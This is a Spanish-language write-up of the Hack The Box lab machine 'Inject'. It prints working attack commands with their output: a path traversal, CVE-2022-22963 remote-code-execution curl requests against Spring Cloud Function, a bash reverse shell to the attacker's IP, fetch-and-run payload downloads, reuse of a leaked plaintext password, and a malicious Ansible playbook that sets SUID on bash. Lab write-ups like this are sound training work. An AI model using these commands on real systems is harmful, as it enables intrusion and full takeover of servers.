Inject-Writeup

·

7 min read


Inject.png


Skills

- Paht Traversal -> LFI - Local File Inclusion

- CVE-2022-22963 -> RCE - Remote Code Execution

- Information leakage -> User Pivoting

- Abusing cron tab -> Privilage Escalation

Reconocimiento

Comenzamos creando nuestros directorios para realizar un reconocimiento

$ mkdir Inject-10.10.11.204
$ cd Inject-10.10.11.204
$ mkdir nmap content exploit

Luego procedemos a realizar un escaneo con nmap

$ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.204 -oG allPorts

Yo lo exporto en formato grepeable por que tengo una función llamada extractPorts -> (link de la utilidad de extractPorts creada por s4vitar, instalar xclip)

$ extractPorts allPorts
[*] Extracting information...

    [*] IP Address: 10.10.11.204
    [*] Open ports: 22,8080

[*] Ports copied to clipboard

Vamos a realizar un escaneo mas exhaustivo sobre esos puertos

$ nmap -sCV -p22,8080 10.10.11.204 -oN targeted
Nmap scan report for 10.10.11.204
Host is up (0.21s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
|   256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_  256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/

Vemos una pagina web en el puerto 8080 vamos a realizar un escaneo para ver las tecnologías y cms que usa la web. Para esto vamos a lanzar un whatweb sobre este puerto

$ whatweb http://10.10.11.204:8080
http://10.10.11.204:8080 [200 OK] Bootstrap, Content-Language[en-US], Country[RESERVED][ZZ], Frame, HTML5, IP[10.10.11.204], Title[Home], YouTube

No nos reporta nada de relevancia, vamos a ver como se ve la web

web.png

Vemos un servicio de almacenamiento en la nube, donde nos ofrecen ciertos planes, etc. Vemos un Log in y un Sing up pero no están del todo funcional, pero vemos un upload vamos a revisar esto

web-upload.png

Vemos que podemos subir un archivo, eso es peligroso ya que podríamos llegar a ejecutar comandos en la maquina. Vamos a intentar subir un .txt para ver la respuesta del lado del servidor

upload-txt.png

no-upload-txt.png

Vemos que solo nos acepta extensiones de tipo imágenes, podemos probar ciertas técnicas para intentar subir un archivo con la extension que nos interese, pero antes vamos a subir una imagen primero, para ver la respuesta en la web

gato.png uploaded.png

Vemos que nos subió la imagen, y nos muestra la ruta en la que este se aloja. Esto es importante, ya que si subimos un archivo malicioso necesitamos saber donde se almacena para poder apuntar a este y poder usarlo. Vamos a revisar la ruta

show-image.png

Y ahí esta el gato.jpg(Saludos a gato gamer, de la comunidad de hack4u. Un máquina) vemos una función "show_image?img=gato.jpg" Probando no nos deja subir otra extension que no sea una imagen. Pero vamos a pasar la petición por burpsuite para ver como se esta tramitando

show-image-php.png

Vemos la función show_image vamos a intentar un directory path traversal, para comprobar si podemos listar archivos del lado de la maquina victima

path-traversal.png

Y como podemos observar se acontece el directory path traversal, vamos a ver la rute "/var/www" que es donde probablemente este montada la pagina

var-www.png

Y vemos un html y un WebApp vamos a enumerar este ultimo

WebApp.png

Y vemos varios directorio y archivos. Enumerando nos encontramos algo curioso en el archivo pom.xml

spring-framework.png

Vemos algo llamado, spring-framework v2.6.5. Investigando esto es vulnerable a CVE-2022-22963 Esto los que nos permite es ejecutar comandos deforma remota mediante una secuencia de peticiones HTTP específicas. (Para mas info les comparto un link donde pueden leer mas acerca de esto -> CVE-2020-22963 )

$ curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/dh-pwnd")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/7.88.1
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/dh-pwnd")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
> 
< HTTP/1.1 500 
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Tue, 18 Jul 2023 20:25:56 GMT
< Connection: close
< 
* Closing connection 0
{"timestamp":"2023-07-18T20:25:56.636+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}

Vamos a listar si nos creo el archivo dh-pwnd en "/tpm"

dh-pwnd.png

Y como podemos observar, nos logramos crear un archivo en "/tmp" por tanto tenemos ejecución de comandos de forma remota. Vamos a intentar ganar acceso a la maquina

$ cd ../exploit
$ cat reverse.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.215/443 0>&1

Vamos a poner montar un servidor con python, para hacerle un curl del lado de la maquina victima y depositar lo en la maquina victima para luego ejecutarlo y ganar acceso a la maquina. En una consola hacemos lo siguiente:

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Y en otra nos ponemos en escucha con nc

$ nc -nlvp 443
listening on [any] 443 ...

Ahora depositamos el reverse.sh en la maquina victima

$ curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.215/reverse.sh -o /tmp/reverse.sh")' --data-raw 'data' -v
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.204 - - [18/Jul/2023 12:47:27] "GET /reverse.sh HTTP/1.1" 200 -

Y lo ejecutamos con bash

$ curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/reverse.sh")' --data-raw 'data' -v
listening on [any] 443 ...
connect to [10.10.14.215] from (UNKNOWN) [10.10.11.204] 37208
bash: cannot set terminal process group (817): Inappropriate ioctl for device
bash: no job control in this shell
frank@inject:/$

Y ganamos acceso a la maquina victima(No realizo tratamiento de la tty ya que me dio mas problemas, ustedes lo pueden intentar. Si voy a definir algunas variables de entorno)

frank@inject:/$ export SHELL=bash
frank@inject:/$ export TERM=xterm

User Pivoting

Enumerando el directorio de frank nos encontramos algo raro

frank@inject:/$ cd
frank@inject:~$ ls -la
total 28
drwxr-xr-x 5 frank frank 4096 Feb  1 18:38 .
drwxr-xr-x 4 root  root  4096 Feb  1 18:38 ..
lrwxrwxrwx 1 root  root     9 Jan 24 13:57 .bash_history -> /dev/null
-rw-r--r-- 1 frank frank 3786 Apr 18  2022 .bashrc
drwx------ 2 frank frank 4096 Feb  1 18:38 .cache
drwxr-xr-x 3 frank frank 4096 Feb  1 18:38 .local
drwx------ 2 frank frank 4096 Feb  1 18:38 .m2
-rw-r--r-- 1 frank frank  807 Feb 25  2020 .profile

Vemos un directorio .m2 vamos a revisar su contenido

frank@inject:~$ cd .m2
frank@inject:~/.m2$ ls
settings.xml
frank@inject:~/.m2$ cat settings.xml
cat settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>

vemos la contrasena de phil vamos a probar si es correcta

frank@inject:~/.m2$ su phil
Password: DocPhillovestoInject123
whoami
phil

Y ahora somos logramos convertirnos en el usuario phil(vuelvo a definir algunas variables de entorno)

$ script /dev/null -c bash
phil@inject:/home/frank/.m2$ export TERM=xterm
phil@inject:/home/frank/.m2$ export SHELL=bash

Escalada de privilegios

Vamos a transferirnos el pspy para mirar por tareas que se estén ejecutando a intervalos regulares de tiempo(link al proyecto de github de pspy -> pspy) Descargar el pspy64 de los releases y luego nos creamos un servidor local con python

$ cd ../content
$ mv /home/dh89/Download/pspy64 .
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Nos lo descargamos en la maquina victima

phil@inject:/home/frank/.m2$ cd /tmp
phil@inject:/tmp$ wget http://10.10.14.215/pspy64
--2023-07-18 21:19:37--  http://10.10.14.215/pspy64
Connecting to 10.10.14.215:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64              100%[===================>]   2.96M   452KB/s    in 7.7s    

2023-07-18 21:19:46 (396 KB/s) - ‘pspy64’ saved [3104768/3104768]

Le damos permisos de ejecución y lo ejecutamos

phil@inject:/tmp$ chmod +x pspy64
phil@inject:/tmp$ ./pspy64

Luego de un rato vemos una linea como esta

2023/07/18 21:22:01 CMD: UID=0     PID=58046  | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml

Donde están ejecutando con asible-parallel cualquier archivo .yml en la ruta "/opt/automation/tasks", por tanto vamos a crear un archivo .yml malicioso para por ejemplo, asignarle el permiso SUID a la bash con el siguiente contenido(Esto lo hacemos en nuestra maquina y luego lo pasamos a la maquina victima)(Si perdeis acceso a la maquina, simplemene realizar los pasos anteriores y ganar otra consola, ya que el reverse.sh esta en "/tmp")

- hosts: localhost
  tasks:
    - name: pwned
      ansible.builtin.shell: |
        chmod +s /bin/bash
      become: true

Yo lo guardo en pwned.yml por tanto

$ pyton3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
phil@inject:/$ cd /tmp 
phil@inject:/tmp$ wget http://10.10.14.215/pwned.yml                                
--2023-07-18 21:32:56--  http://10.10.14.215/pwned.yml
Connecting to 10.10.14.215:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 123 [application/octet-stream]
Saving to: ‘pwned.yml’

pwned.yml           100%[===================>]     123  --.-KB/s    in 0s      

2023-07-18 21:32:57 (9.67 MB/s) - ‘pwned.yml’ saved [123/123]

Y lo depositamos en el directorio "/opt/automation/tasks"

phil@inject:/tmp$ mv pwned.yml /opt/automation/tasks

Y ahora toca esperar un rato, hasta que la bash tenga permisos SUID

phil@inject:/tmp$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash
phil@inject:/tmp$ bash -p
bash-5.0# whoami
root

Y maquina finalizada


Conclusión

Maquina de htb bastante interesante, donde vemos un cve curioso y abusando de tareas cron. Espero que les sirva la guia y cualquier consulta tienen los comentarios o pueden contactarme por discord